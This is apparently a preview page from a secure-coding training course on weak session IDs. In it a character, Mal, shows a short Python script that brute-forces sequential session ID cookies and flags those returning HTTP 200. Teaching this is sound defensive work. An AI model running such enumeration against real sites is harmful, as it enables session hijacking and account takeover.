Weak Session IDs

Public preview

Want everyone on your software team to learn this? Free 14-day trial.

Train my team

Mal puts together a simple script to enumerate session IDs, and check the HTTP response code when each one is submitted to your site.

session-probing.py
Python 
session_id = 0

while True:
  headers  = { "Cookie" : f"session_id={session_id}" }
  response = requests.get(url, headers=headers, allow_redirects=False)

  if response.status_code == 200:
    print(f"Found valid session ID: {session_id}")

  session_id += 1

  if session_id % 10000 == 0:
    print(f"Checked session IDs up to {session_id}")